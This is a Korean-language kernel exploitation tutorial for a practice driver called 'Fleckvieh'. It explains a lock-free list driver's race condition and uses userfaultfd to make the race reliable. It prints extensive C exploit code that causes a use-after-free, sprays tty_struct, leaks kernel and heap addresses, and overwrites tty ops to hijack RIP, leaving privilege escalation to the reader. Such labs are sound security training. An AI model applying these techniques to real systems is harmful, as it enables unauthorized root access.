LK04(Fleckvieh)에서는 LK01-4(Holstein v4)에서 배운 것과 유사한 Race Condition을 더 엄격한 조건에서 다룹니다. 먼저 연습 문제 LK04 파일을 다운로드해 주세요.

드라이버 확인

먼저 드라이버의 소스 코드를 읽어보세요. 이번 드라이버는 지금까지에 비하면 분량이 많고, 지금까지 등장하지 않았던 기능이나 표기법이 존재합니다. module_open은 다음과 같이 되어 있습니다.

1
2
3
4
5
6
7
8
9
static int module_open(struct inode *inode, struct file *filp) {
/* Allocate list head */
filp->private_data = (void*)kmalloc(sizeof(struct list_head), GFP_KERNEL);
if (unlikely(!filp->private_data))
return -ENOMEM;

INIT_LIST_HEAD((struct list_head*)filp->private_data);
return 0;
}

먼저 4번째 줄에 unlikely라는 매크로가 등장하고 있습니다. 이것은 Linux 커널에서는 다음과 같이 정의되어, 빈번하게 등장합니다.

1
2
#define likely(x)      __builtin_expect(!!(x), 1)
#define unlikely(x) __builtin_expect(!!(x), 0)

거의 대부분 한쪽밖에 통과하지 않는 조건 분기(보안 체크나 메모리 부족 확인) 등에서, 어느 쪽 분기로 통하기 쉬운지를 컴파일러에게 알려줄 수 있습니다. 올바른 예측으로 likely, unlikely 매크로를 사용하면, 몇 번이나 통과하는 조건 분기에서는 실행 속도 향상으로 이어집니다.

늑대군

컴파일러에게 힌트를 주면, 자주 통과하는 경로일수록 명령어 수나 분기 횟수를 줄여줘. 이 부분의 이야기는 CPU의 분기 예측과도 관련되니까, 궁금한 사람은 조사해 봐.

다음으로, 7번째 줄에 INIT_LIST_HEAD라는 매크로가 등장하고 있습니다. 이것은 tty_struct 등에서 등장한 양방향 리스트의 list_head 구조체를 초기화하기 위한 매크로입니다. 각 파일 open에 대해 양방향 리스트를 만들기 위해 private_data에 이 구조체를 넣고 있습니다.
이 리스트는 blob_list 구조체로 연결됩니다.

1
2
3
4
5
6
typedef struct {
int id;
size_t size;
char *data;
struct list_head list;
} blob_list;

리스트에 아이템 추가는 list_add, 삭제는 list_del, 순회는 list_for_each_entry(_safe) 등의 조작이 있습니다. 구체적인 사용법에 대해서는 적절히 조사해 주세요.

ioctl 구현을 보면, 이 모듈에는 CMD_ADD, CMD_DEL, CMD_GET, CMD_SET의 4종류 조작이 있다는 것을 알 수 있습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
static long module_ioctl(struct file *filp,
unsigned int cmd,
unsigned long arg) {
struct list_head *top;
request_t req;
if (unlikely(copy_from_user(&req, (void*)arg, sizeof(req))))
return -EINVAL;

top = (struct list_head*)filp->private_data;

switch (cmd) {
case CMD_ADD: return blob_add(top, &req);
case CMD_DEL: return blob_del(top, &req);
case CMD_GET: return blob_get(top, &req);
case CMD_SET: return blob_set(top, &req);
default: return -EINVAL;
}
}

CMD_ADD는 리스트에 blob_list를 추가합니다. 각 blob_list는 0x1000 바이트 이하의 데이터를 가지며, 내용은 임의로 설정할 수 있습니다. 또한, 추가 시에 무작위로 ID가 할당되어, ioctl의 반환값으로서 사용자 측이 받을 수 있습니다. 사용자는 이후 그 ID를 사용해, 그 blob_list를 조작할 수 있습니다.
CMD_DEL은 ID를 전달함으로써 해당하는 blob_list를 리스트에서 파기할 수 있습니다.
CMD_GET은 ID와 버퍼 및 크기를 지정해서, 해당하는 blob_list의 데이터를 사용자 공간에 복사합니다.
마지막으로 CMD_SET은, ID와 버퍼 및 크기를 지정해서, 해당하는 blob_list에 사용자 공간에서 데이터를 복사합니다.

지금까지의 모듈과 마찬가지로 데이터를 저장할 수 있는 기능이지만, Fleckvieh에서는 리스트로 데이터를 관리하고 있어, 여러 개의 데이터를 저장할 수 있게 되어 있습니다.

취약점 확인

LK01을 모두 공부한 분이라면 취약점은 일목요연할 것입니다. 어느 처리에도 락이 걸려있지 않기 때문에, 간단하게 데이터 경쟁이 발생합니다. 하지만, 이 경쟁을 exploit 하려고 하면 문제가 발생합니다.
데이터를 양방향 리스트라는 복잡한 구조로 관리하고 있기 때문에, 삭제하는 타이밍에 데이터를 읽고 쓰려고 해도, unlink 타이밍에 쓰려고 할 가능성이 있어, 링크나 커널 힙의 상태가 파괴되어 버립니다. 그러면 race 중에 크래시 하거나, Use-after-Free가 되었는지를 판정할 수 없거나 해서 곤란합니다.
실제로 race를 작성해서 확인해 봅시다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
int fd;

int add(char *data, size_t size) {
request_t req = { .size = size, .data = data };
return ioctl(fd, CMD_ADD, &req);
}
int del(int id) {
request_t req = { .id = id };
return ioctl(fd, CMD_DEL, &req);
}
int get(int id, char *data, size_t size) {
request_t req = { .id = id, .size = size, .data = data };
return ioctl(fd, CMD_GET, &req);
}
int set(int id, char *data, size_t size) {
request_t req = { .id = id, .size = size, .data = data };
return ioctl(fd, CMD_SET, &req);
}

int race_win;

void *race(void *arg) {
int id;
while (!race_win) {
id = add("Hello", 6);
del(id);
}
}

int main() {
fd = open("/dev/fleckvieh", O_RDWR);
if (fd == -1) fatal("/dev/fleckvieh");

race_win = 0;

pthread_t th;
pthread_create(&th, NULL, race, NULL);

int id;
for (int i = 0; i < 0x1000; i++) {
id = add("Hello", 6);
del(id);
}
race_win = 1;
pthread_join(th, NULL);

close(fd);
return 0;
}

이 코드에서는 여러 스레드에서 데이터의 추가와 삭제를 반복합니다. 경쟁이 발생하면 양방향 리스트의 링크가 깨지기 때문에, 마지막 close에서 리스트의 내용을 해제할 때 크래시 합니다.

이처럼 복잡한 데이터 구조에서의 경쟁은 exploit 할 수 없는 것일까요?

userfaultfd란

이번처럼 복잡한 조건의 경쟁을 exploit 하거나, 경쟁의 성공 확률을 100%로 만들기 위해, userfaultfd라는 기능을 악용한 공격 방법이 있습니다.

CONFIG_USERFAULTFD를 붙여서 Linux를 빌드 하면, userfaultfd라는 기능을 사용할 수 있게 됩니다. userfaultfd는 사용자 공간에서 페이지 부재(Page Fault)를 처리하기 위한 기능으로, 시스템 호출로서 구현되어 있습니다.

CAP_SYS_PTRACE를 가지고 있지 않은 사용자가 userfaultfd를 모든 권한으로 사용하기 위해서는 unprivileged_userfaultfd 플래그가 1로 되어 있어야 합니다. 이 플래그는 /proc/sys/vm/unprivileged_userfaultfd에서 설정·확인할 수 있으며, 기본값은 0으로 되어 있지만, LK04 머신에서는 1로 되어 있는 것을 확인할 수 있습니다.

사용자는 userfaultfd 시스템 호출로 파일 디스크립터를 받아, 거기에 핸들러나 주소 등의 설정을 ioctl로 적용합니다. userfaultfd를 설정한 페이지에서 페이지 부재가 일어난 경우(첫 접근 시), 설정한 핸들러가 호출되어, 사용자 측에서 어떤 데이터(맵)를 반환할지를 지정할 수 있습니다. 그림으로 나타내면 다음과 같은 순서로 처리가 발생합니다.

userfaultfd의 처리 순서

페이지 부재가 발생하면 등록한 사용자 공간의 핸들러가 호출되기 때문에, 페이지를 읽으려고 한 스레드 1은, 스레드 2의 핸들러가 데이터를 반환할 때까지 블록 합니다. 이는 커널 공간에서의 페이지 읽기/쓰기에서도 마찬가지이기 때문에, 읽기/쓰기 타이밍에 커널 공간의 처리를 정지시킬 수 있습니다.

userfaultfd 사용 예

시험 삼아 다음 코드를 실행해 봅시다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
#define _GNU_SOURCE
#include <assert.h>
#include <fcntl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>

void fatal(const char *msg) {
perror(msg);
exit(1);
}

static void* fault_handler_thread(void *arg) {
char *dummy_page;
static struct uffd_msg msg;
struct uffdio_copy copy;
struct pollfd pollfd;
long uffd;
static int fault_cnt = 0;

uffd = (long)arg;

dummy_page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (dummy_page == MAP_FAILED) fatal("mmap(dummy)");

puts("[+] fault_handler_thread: waiting for page fault...");
pollfd.fd = uffd;
pollfd.events = POLLIN;

while (poll(&pollfd, 1, -1) > 0) {
if (pollfd.revents & POLLERR || pollfd.revents & POLLHUP)
fatal("poll");

/* 페이지 부재 대기 */
if (read(uffd, &msg, sizeof(msg)) <= 0) fatal("read(uffd)");
assert (msg.event == UFFD_EVENT_PAGEFAULT);

printf("[+] uffd: flag=0x%llx\n", msg.arg.pagefault.flags);
printf("[+] uffd: addr=0x%llx\n", msg.arg.pagefault.address);

/* 요구된 페이지로서 반환할 데이터를 설정 */
if (fault_cnt++ == 0)
strcpy(dummy_page, "Hello, World! (1)");
else
strcpy(dummy_page, "Hello, World! (2)");
copy.src = (unsigned long)dummy_page;
copy.dst = (unsigned long)msg.arg.pagefault.address & ~0xfff;
copy.len = 0x1000;
copy.mode = 0;
copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &copy) == -1) fatal("ioctl(UFFDIO_COPY)");
}

return NULL;
}

int register_uffd(void *addr, size_t len) {
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;
long uffd;
pthread_t th;

/* userfaultfd 생성 */
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1) fatal("userfaultfd");

uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
fatal("ioctl(UFFDIO_API)");

/* 페이지를 userfaultfd에 등록 */
uffdio_register.range.start = (unsigned long)addr;
uffdio_register.range.len = len;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
fatal("UFFDIO_REGISTER");

/* 페이지 부재를 처리하는 스레드를 생성 */
if (pthread_create(&th, NULL, fault_handler_thread, (void*)uffd))
fatal("pthread_create");

return 0;
}

int main() {
void *page;
page = mmap(NULL, 0x2000, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED) fatal("mmap");
register_uffd(page, 0x2000);

/* 스레드 중의 puts와 futex에서 행(hang)이 걸리므로 직접 printf로 출력하지 않음 */
char buf[0x100];
strcpy(buf, (char*)(page));
printf("0x0000: %s\n", buf);
strcpy(buf, (char*)(page + 0x1000));
printf("0x1000: %s\n", buf);
strcpy(buf, (char*)(page));
printf("0x0000: %s\n", buf);
strcpy(buf, (char*)(page + 0x1000));
printf("0x1000: %s\n", buf);

getchar();
return 0;
}

이 코드에서는 register_uffd에 페이지 주소와 userfaultfd를 설정할 크기를 전달합니다. register_uffd는 페이지 부재를 처리하는 스레드 fault_handler_thread를 생성합니다.
페이지 부재가 발생하면 fault_handler_thread 안의 read에서 이벤트를 취득하고, 데이터를 반환합니다. 위 샘플 프로그램에서는 몇 번째 페이지 부재인지에 따라 반환하는 데이터를 변경하고 있습니다.

main 함수에서는 2페이지 분량의 영역을 확보[1]하고, 그것에 대해 userfaultfd를 설정하고 있습니다. 처음 2개의 strcpy[2]에서는 첫 접근에 의해 페이지 부재가 발생하므로, userfaultfd 핸들러가 발동합니다. 다음과 같이, 처음 2회에서 핸들러가 호출되고, 핸들러에서 반환한 데이터가 반영되어 있다면 성공입니다.

userfaultfd 사용 예
늑대군

userfaultfd 핸들러는 다른 스레드에서 동작하니까, 메인 스레드와 다른 CPU에서 동작할 가능성이 있어. 핸들러 내에서 객체를 할당할 때, CPU마다 캐시 된 힙 영역이 사용되면 UAF가 실패해 버리니까, sched_setaffinity 함수로 CPU를 고정하도록 주의해.

Race의 안정화

실제로 userfaultfd를 exploit에 이용해 봅시다.
userfaultfd를 사용함으로써 페이지 부재 타이밍에 커널 공간(드라이버 안의 처리)에서 사용자 공간으로 컨텍스트를 전환할 수 있습니다. 페이지 부재가 일어나는 것은 설정한 사용자 공간의 페이지를 처음 읽고 쓰려고 할 때이므로, 이번 드라이버에서는 copy_from_usercopy_to_user 부분에서 처리를 일시 정지할 수 있습니다. 나열해 보면 다음 부분에서 처리를 멈출 수 있음을 알 수 있습니다.

  • blob_addcopy_from_user
  • blob_getcopy_to_user
  • blob_setcopy_from_user

Use-after-Free가 목적이므로, 위와 같은 함수에서 처리를 멈추고 있는 사이에 데이터를 blob_del로 삭제할 수 있습니다. blob_get 중에 삭제하면 UAF Read가, blob_set 중에 삭제하면 UAF Write가 실현됩니다. tty_struct 등을 Use-after-Free로 읽고 써 봅시다.
그림으로 흐름을 나타내면 다음과 같이 됩니다.

userfaultfd에 의한 Use-after-Free

tty_struct와 같은 사이즈 대역(kmalloc-1024)에서 확보한 버퍼 victim에 대해 blob_get을 호출합니다. 이때 userfaultfd를 설정한 주소를 전달하면, blob_get 안의 copy_to_user에서 페이지 부재가 발생하여 핸들러가 호출됩니다. 배타 제어를 하지 않고 있으므로 핸들러 안에서 blob_del을 호출할 수 있고, 그 결과 victim은 해제됩니다.
게다가, tty_struct를 spray 하면 방금 해제한 victim 영역에 tty 객체가 할당됩니다. 이제 핸들러에서 적당한 버퍼를 전달하고 복귀하면 copy_to_uservictim 주소에서 데이터가 복사되므로, 사용자 공간에 tty 객체가 복사됩니다.
같은 원리로 blob_set을 호출하면 UAF에 의한 객체 변조도 가능합니다. 코드를 작성해서 UAF를 확인해 봅시다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
cpu_set_t pwn_cpu;

int victim;
char *buf;

static void* fault_handler_thread(void *arg) {
static struct uffd_msg msg;
struct uffdio_copy copy;
struct pollfd pollfd;
long uffd;
static int fault_cnt = 0;

/* 메인 스레드와 같은 CPU에서 움직인다 */
if (sched_setaffinity(0, sizeof(cpu_set_t), &pwn_cpu))
fatal("sched_setaffinity");

uffd = (long)arg;

puts("[+] fault_handler_thread: waiting for page fault...");
pollfd.fd = uffd;
pollfd.events = POLLIN;

while (poll(&pollfd, 1, -1) > 0) {
if (pollfd.revents & POLLERR || pollfd.revents & POLLHUP)
fatal("poll");

/* 페이지 부재 대기 */
if (read(uffd, &msg, sizeof(msg)) <= 0) fatal("read(uffd)");
assert (msg.event == UFFD_EVENT_PAGEFAULT);

/* 요구된 페이지로서 반환할 데이터를 설정 */
switch (fault_cnt++) {
case 0: {
puts("[+] UAF read");
/* [1-2] `blob_get`에 의한 페이지 부재 */
// victim을 해제
del(victim);

// tty_struct를 스플레이 하고, victim의 장소에 덮어씌움
int fds[0x10];
for (int i = 0; i < 0x10; i++) {
fds[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
if (fds[i] == -1) fatal("/dev/ptmx");
}

// 이 페이지의 데이터를 가지는 버퍼 (copy_to_user로 덮어쓰기 되므로 적당히)
copy.src = (unsigned long)buf;
break;
}

case 1:
/* [2-2] `blob_set`에 의한 페이지 부재 */
// victim을 해제
break;
}

copy.dst = (unsigned long)msg.arg.pagefault.address;
copy.len = 0x1000;
copy.mode = 0;
copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &copy) == -1) fatal("ioctl(UFFDIO_COPY)");
}

return NULL;
}

...

int main() {
/* 메인 스레드와 uffd 핸들러가 반드시 같은 CPU에서 움직이도록 설정한다 */
CPU_ZERO(&pwn_cpu);
CPU_SET(0, &pwn_cpu);
if (sched_setaffinity(0, sizeof(cpu_set_t), &pwn_cpu))
fatal("sched_setaffinity");

fd = open("/dev/fleckvieh", O_RDWR);
if (fd == -1) fatal("/dev/fleckvieh");

void *page;
page = mmap(NULL, 0x2000, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED) fatal("mmap");
register_uffd(page, 0x2000);

buf = (char*)malloc(0x400);
victim = add(buf, 0x400);
set(victim, "Hello", 6);

/* [1-1] UAF Read: tty_struct의 유출 */
get(victim, page, 0x400);
for (int i = 0; i < 0x80; i += 8) {
printf("%02x: 0x%016lx\n", i, *(unsigned long*)(page + i));
}

return 0;
}

코드는 길지만, 하고 있는 것은 앞서 그림에 쓴 대로입니다. 100% 확률로 Use-after-Free가 성공하는 것을 확인할 수 있습니다.

Use-after-Free의 동작 확인

위 그림의 유출된 데이터를 보면 눈치챌지도 모르지만, tty_struct의 선두 데이터가 복사되지 않았습니다. (원래 tty_operation 등이 있지만, 처음 0x30 바이트 정도는 모두 0이 되어 있습니다.)
이것은 copy_to_user를 큰 사이즈로 호출한 것이 원인입니다. copy_to_uservictim 영역에서 데이터를 복사하지만, 선두부터 복사하려고 시도합니다. victim의 선두 쪽을 읽어 들이면, 다음으로 그 데이터를 수신처에 복사하려고 합니다. 여기서 처음으로 페이지 부재가 발생하므로, 앞쪽 바이트 열은 UAF가 발생하기 전의 것이 됩니다.
다행히도 copy_to_user는 복사 크기에 따라, 복사의 각 루프 반복에서 얼마만큼 크기의 데이터를 복사할지(레지스터에 저장할지)가 달라집니다. 따라서 예를 들어 0x20과 같은 작은 크기로 copy_to_user를 호출하면, 처음 0x10 바이트만이 UAF 전의 데이터가 되고, tty_operations 포인터를 포함한 나머지 0x10 바이트는 UAF 후의 것이 복사됩니다.

늑대군

 어셈블리 레벨에서 언제 페이지 부재가 일어나는지를 파악하고 있지 않으면, 디버깅이 힘들겠네.

KASLR와 힙 주소의 유출이 가능해지면, 마찬가지로 UAF Write를 만듭니다.
이번에도 평소대로 가짜 tty_structops를 가짜 함수 테이블로 향하게 하지만, 이번에 UAF가 발생하는 주소는 지난번 유출한 장소와 다를 가능성이 있다는 점에 주의하세요. 유출한 힙 주소는 close로 해제한 tty_struct의 장소이므로, 먼저 가짜 tty_operation을 spray 하도록 합시다. (이번에는 tty_operationtty_struct를 겸용합니다.)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
      case 2: {
puts("[+] UAF write");
/* [3-2] `blob_set`에 의한 페이지 부재 */
// 가짜 tty_operation을 spray (유출한 kheap에 덮어씌움)
for (int i = 0; i < 0x100; i++) {
add(buf, 0x400);
}

...

/* [2-1] UAF Read: tty_struct의 유출 (힙) */
victim = add(buf, 0x400);
get(victim, page+0x1000, 0x400);
unsigned long kheap = *(unsigned long*)(page + 0x1038) - 0x38;
printf("kheap = 0x%016lx\n", kheap);
for (int i = 0; i < 0x10; i++) close(ptmx[i]);

유출된 주소에 가짜 함수 테이블을 준비할 수 있다면, UAF Read와 마찬가지로 UAF를 일으킵니다.

1
2
3
4
5
6
7
8
9
// victim을 해제하고, tty_struct를 spray
del(victim);
for (int i = 0; i < 0x10; i++) {
ptmx[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
if (ptmx[i] == -1) fatal("/dev/ptmx");
}

// 이 페이지의 데이터를 가진 버퍼 (copy_from_user로 쓸 내용)
copy.src = (unsigned long)buf;

이번에는 UAF Write이므로, 쓸 데이터를 제어할 필요가 있습니다. 쓸 데이터는 copy.src에 지정합니다. 그 때문에, 사전에 가짜 tty_struct를 준비해 둡시다.

1
2
3
4
5
6
7
8
9
/* [3-1] UAF Write: tty_struct의 변조 */
memcpy(buf, page+0x1000, 0x400);
unsigned long *tty = (unsigned long*)buf;
tty[0] = 0x0000000100005401; // magic
tty[2] = *(unsigned long*)(page + 0x10); // dev
tty[3] = kheap; // ops
tty[12] = 0xdeadbeef; // ops->ioctl
victim = add(buf, 0x400);
set(victim, page+0x2000, 0x400);

RIP를 제어할 수 있다면 성공입니다. 나머지는 각자 권한 상승까지의 exploit 코드를 완성시켜 주세요.

Fleckvieh에서의 권한 상승

샘플 exploit 코드는 여기에서 다운로드할 수 있습니다.


이번에는 Race를 안정화시키는 목적으로만 userfaultfd를 사용했습니다. 한편, 페이지에 걸쳐 데이터를 배치하면, 구조체의 특정 멤버를 읽고 쓸 때 처리를 멈출 수 있습니다. 이 기법을 이용해서 exploit 할 수 있는 상황에 대해 고찰해 봅시다.

  1. 첫 접근 시에 페이지 부재를 발생시키고 싶으므로 MAP_POPULATE를 붙이지 않았습니다. ↩︎

  2. 직접 printf 하면, printf 함수 내에서 폴트가 발생해서 핸들러 안의 putsprintf와 버퍼링 교착 상태(deadlock)가 발생하여 프로그램이 정지하므로 주의합시다. 커널 exploit 문맥에서는, 커널 공간에서 폴트를 발생시키므로 신경 쓸 필요는 없습니다. ↩︎